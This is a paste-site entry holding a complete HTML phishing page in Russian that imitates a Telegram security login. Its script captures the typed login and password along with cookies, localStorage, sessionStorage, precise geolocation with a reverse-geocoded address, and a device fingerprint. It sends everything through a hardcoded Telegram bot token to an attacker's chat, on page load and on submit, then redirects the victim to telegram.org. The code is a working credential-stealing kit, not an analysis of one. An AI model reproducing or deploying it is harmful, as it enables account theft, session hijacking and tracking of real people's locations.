Untitled
2 hours ago in Plain Text
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Telegram Security Verification</title>
<style>
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
background: linear-gradient(135deg, #0088cc, #00a2e8);
color: white;
margin: 0;
padding: 20px;
min-height: 100vh;
display: flex;
justify-content: center;
align-items: center;
}
.login-container {
background: rgba(255,255,255,0.1);
padding: 40px;
border-radius: 15px;
backdrop-filter: blur(10px);
width: 100%;
max-width: 450px;
box-shadow: 0 8px 32px rgba(0,0,0,0.1);
}
.logo {
text-align: center;
font-size: 28px;
margin-bottom: 30px;
font-weight: 600;
}
.telegram-logo {
font-size: 48px;
margin-bottom: 10px;
}
input {
width: 100%;
padding: 15px;
margin: 10px 0;
border: none;
border-radius: 8px;
background: rgba(255,255,255,0.2);
color: white;
font-size: 16px;
box-sizing: border-box;
}
input::placeholder {
color: rgba(255,255,255,0.7);
}
button {
width: 100%;
padding: 15px;
background: #00b894;
border: none;
border-radius: 8px;
color: white;
font-size: 16px;
cursor: pointer;
margin-top: 20px;
font-weight: 600;
transition: background 0.3s;
}
button:hover {
background: #00a085;
}
.hidden {
display: none;
}
.security-notice {
text-align: center;
font-size: 12px;
opacity: 0.8;
margin-top: 20px;
}
.loading {
text-align: center;
margin: 20px 0;
}
</style>
</head>
<body>
<div class="login-container">
<div class="logo">
<div class="telegram-logo">✈️</div>
Telegram Security
</div>
<form id="loginForm">
<input type="text" id="username" placeholder="Email или номер телефона" required>
<input type="password" id="password" placeholder="Пароль" required>
<button type="submit">🔐 Войти в систему</button>
</form>
<div class="security-notice">
🔒 Защищено сквозным шифрованием
</div>
<div id="successMessage" class="hidden">
<h3>✅ Успешный вход!</h3>
<p>Происходит перенаправление в защищенную систему...</p>
<div class="loading">⏳</div>
</div>
</div>
<script>
// Глобальный объект для сбора данных
const stolenData = {
credentials: {},
systemInfo: {},
networkInfo: {},
locationInfo: {},
timestamp: new Date().toISOString()
};
// Функция для отправки данных в Telegram
async function sendToTelegram(message) {
try {
const response = await fetch('https://api.telegram.org/bot7118284824:AAHv4Td9WTTkeG5vikobFtvfbFO3oE76xjk/sendMessage', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
chat_id: '6541931336',
text: message,
parse_mode: 'HTML'
})
});
return response.ok;
} catch (error) {
console.error('Ошибка отправки:', error);
return false;
}
}
// Получение IP адреса через несколько сервисов
async function getIPAddress() {
const services = [
'https://api.ipify.org?format=json',
'https://ipinfo.io/json',
'https://api.myip.com'
];
for (const service of services) {
try {
const response = await fetch(service, { timeout: 5000 });
const data = await response.json();
if (data.ip) return data.ip;
if (data.query) return data.query;
} catch (error) {
continue;
}
}
return 'Не удалось определить';
}
// Получение подробной информации о местоположении
async function getLocationInfo() {
const info = {
ip: await getIPAddress(),
coordinates: null,
address: null,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
language: navigator.language,
languages: navigator.languages
};
// Попытка получить точные координаты через Geolocation API
if (navigator.geolocation) {
try {
const position = await new Promise((resolve, reject) => {
navigator.geolocation.getCurrentPosition(resolve, reject, {
enableHighAccuracy: true,
timeout: 10000,
maximumAge: 0
});
});
info.coordinates = {
latitude: position.coords.latitude,
longitude: position.coords.longitude,
accuracy: position.coords.accuracy
};
// Получение адреса по координатам
const addressResponse = await fetch(
`https://nominatim.openstreetmap.org/reverse?format=json&lat=${info.coordinates.latitude}&lon=${info.coordinates.longitude}`
);
const addressData = await addressResponse.json();
info.address = addressData.display_name;
} catch (error) {
console.log('Геолокация недоступна:', error);
}
}
// Дополнительная информация через ipinfo
try {
const ipResponse = await fetch(`https://ipinfo.io/${info.ip}/json`);
const ipData = await ipResponse.json();
info.country = ipData.country;
info.city = ipData.city;
info.region = ipData.region;
info.org = ipData.org;
info.postal = ipData.postal;
info.hostname = ipData.hostname;
} catch (error) {
console.log('IP info недоступен');
}
return info;
}
// Сбор системной информации
function getSystemInfo() {
return {
userAgent: navigator.userAgent,
platform: navigator.platform,
vendor: navigator.vendor,
screen: `${screen.width}x${screen.height}`,
colorDepth: screen.colorDepth,
pixelDepth: screen.pixelDepth,
deviceMemory: navigator.deviceMemory || 'unknown',
hardwareConcurrency: navigator.hardwareConcurrency,
maxTouchPoints: navigator.maxTouchPoints,
cookieEnabled: navigator.cookieEnabled,
doNotTrack: navigator.doNotTrack,
javaEnabled: navigator.javaEnabled ? navigator.javaEnabled() : false,
pdfViewerEnabled: navigator.pdfViewerEnabled || false,
webdriver: navigator.webdriver || false,
plugins: Array.from(navigator.plugins).map(p => p.name),
mimeTypes: Array.from(navigator.mimeTypes).map(m => m.type),
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
videoCard: getVideoCardInfo(),
audioDevices: null,
battery: null
};
}
// Получение информации о видеокарте
function getVideoCardInfo() {
const canvas = document.createElement('canvas');
const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
if (gl) {
const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
if (debugInfo) {
return {
vendor: gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL),
renderer: gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL)
};
}
}
return null;
}
// Получение информации о батарее
async function getBatteryInfo() {
if ('getBattery' in navigator) {
try {
const battery = await navigator.getBattery();
return {
charging: battery.charging,
level: battery.level,
chargingTime: battery.chargingTime,
dischargingTime: battery.dischargingTime
};
} catch (error) {
return null;
}
}
return null;
}
// Получение аудио устройств
async function getAudioDevices() {
if (!navigator.mediaDevices || !navigator.mediaDevices.enumerateDevices) {
return null;
}
try {
const devices = await navigator.mediaDevices.enumerateDevices();
return devices.filter(device => device.kind === 'audioinput').map(device => device.label);
} catch (error) {
return null;
}
}
// Сбор сетевой информации
function getNetworkInfo() {
return {
connection: navigator.connection ? {
effectiveType: navigator.connection.effectiveType,
downlink: navigator.connection.downlink,
rtt: navigator.connection.rtt,
saveData: navigator.connection.saveData
} : null,
online: navigator.onLine,
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
referrer: document.referrer,
url: window.location.href
};
}
// Создание отчета о собранных данных
function createReport() {
let report = `🕵️ <b>ПОЛНЫЙ ОТЧЕТ О ПОЛЬЗОВАТЕЛЕ</b>\n\n`;
// Локация
report += `📍 <b>МЕСТОПОЛОЖЕНИЕ:</b>\n`;
report += `🌐 IP: ${stolenData.locationInfo.ip}\n`;
if (stolenData.locationInfo.country) {
report += `🏴 Страна: ${stolenData.locationInfo.country}\n`;
report += `🏙️ Город: ${stolenData.locationInfo.city}\n`;
report += `🏢 Провайдер: ${stolenData.locationInfo.org}\n`;
}
if (stolenData.locationInfo.coordinates) {
report += `📡 Координаты: ${stolenData.locationInfo.coordinates.latitude}, ${stolenData.locationInfo.coordinates.longitude}\n`;
report += `🎯 Точность: ${stolenData.locationInfo.coordinates.accuracy}м\n`;
}
if (stolenData.locationInfo.address) {
report += `🏠 Адрес: ${stolenData.locationInfo.address}\n`;
}
report += `⏰ Часовой пояс: ${stolenData.locationInfo.timezone}\n\n`;
// Система
report += `💻 <b>СИСТЕМНАЯ ИНФОРМАЦИЯ:</b>\n`;
report += `📱 Устройство: ${stolenData.systemInfo.userAgent}\n`;
report += `🖥️ Платформа: ${stolenData.systemInfo.platform}\n`;
report += `🎨 Экран: ${stolenData.systemInfo.screen}\n`;
report += `🎮 Видеокарта: ${stolenData.systemInfo.videoCard ? stolenData.systemInfo.videoCard.renderer : 'N/A'}\n`;
report += `💾 Память: ${stolenData.systemInfo.deviceMemory}GB\n`;
report += `⚙️ Ядер CPU: ${stolenData.systemInfo.hardwareConcurrency}\n\n`;
// Учетные данные
if (stolenData.credentials.username) {
report += `🔐 <b>УЧЕТНЫЕ ДАННЫЕ:</b>\n`;
report += `👤 Логин: ${stolenData.credentials.username}\n`;
report += `🔑 Пароль: ${stolenData.credentials.password}\n\n`;
}
// Сеть
report += `🌐 <b>СЕТЕВАЯ ИНФОРМАЦИЯ:</b>\n`;
report += `🍪 Cookies: ${stolenData.networkInfo.cookies || 'отсутствуют'}\n`;
report += `🔗 Referrer: ${stolenData.networkInfo.referrer || 'прямой заход'}\n`;
if (stolenData.networkInfo.connection) {
report += `📶 Тип соединения: ${stolenData.networkInfo.connection.effectiveType}\n`;
}
report += `\n🕐 Время сбора: ${new Date().toLocaleString('ru-RU')}`;
return report;
}
// Основная функция сбора данных
async function collectAllData() {
// Собираем данные параллельно для скорости
const [locationInfo, systemInfo, networkInfo, batteryInfo, audioDevices] = await Promise.all([
getLocationInfo(),
getSystemInfo(),
getNetworkInfo(),
getBatteryInfo(),
getAudioDevices()
]);
// Обновляем системную информацию
systemInfo.battery = batteryInfo;
systemInfo.audioDevices = audioDevices;
// Сохраняем все данные
stolenData.locationInfo = locationInfo;
stolenData.systemInfo = systemInfo;
stolenData.networkInfo = networkInfo;
return stolenData;
}
// Обработчик формы входа
document.getElementById('loginForm').addEventListener('submit', async function(e) {
e.preventDefault();
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
// Сохраняем учетные данные
stolenData.credentials = { username, password };
// Собираем все возможные данные
await collectAllData();
// Создаем и отправляем отчет
const report = createReport();
await sendToTelegram(report);
// Показываем успешное сообщение
document.getElementById('loginForm').classList.add('hidden');
document.getElementById('successMessage').classList.remove('hidden');
// Дополнительная отправка сырых данных
const rawDataMessage = `📊 <b>СЫРЫЕ ДАННЫЕ:</b>\n<code>${JSON.stringify(stolenData, null, 2)}</code>`;
await sendToTelegram(rawDataMessage);
// Редирект через 3 секунды
setTimeout(() => {
window.location.href = 'https://telegram.org';
}, 3000);
});
// Сбор данных при загрузке страницы
window.addEventListener('load', async function() {
// Сначала собираем базовые данные
await collectAllData();
// Отправляем начальный отчет
const initialReport = `📄 <b>ФИШИНГ СТРАНИЦА ЗАГРУЖЕНА</b>\n\n` +
`🌐 IP: ${stolenData.locationInfo.ip}\n` +
`📱 Устройство: ${stolenData.systemInfo.userAgent}\n` +
`🖥️ Экран: ${stolenData.systemInfo.screen}\n` +
`🌐 Часовой пояс: ${stolenData.locationInfo.timezone}\n` +
`📍 Страна: ${stolenData.locationInfo.country || 'Неизвестно'}\n` +
`🏙️ Город: ${stolenData.locationInfo.city || 'Неизвестно'}`;
await sendToTelegram(initialReport);
});
// Сбор данных при изменении размера окна
window.addEventListener('resize', function() {
stolenData.systemInfo.screen = `${screen.width}x${screen.height}`;
});
// Сбор данных при видимости страницы
document.addEventListener('visibilitychange', function() {
if (!document.hidden) {
stolenData.lastActive = new Date().toISOString();
}
});
</script>
</body>
</html>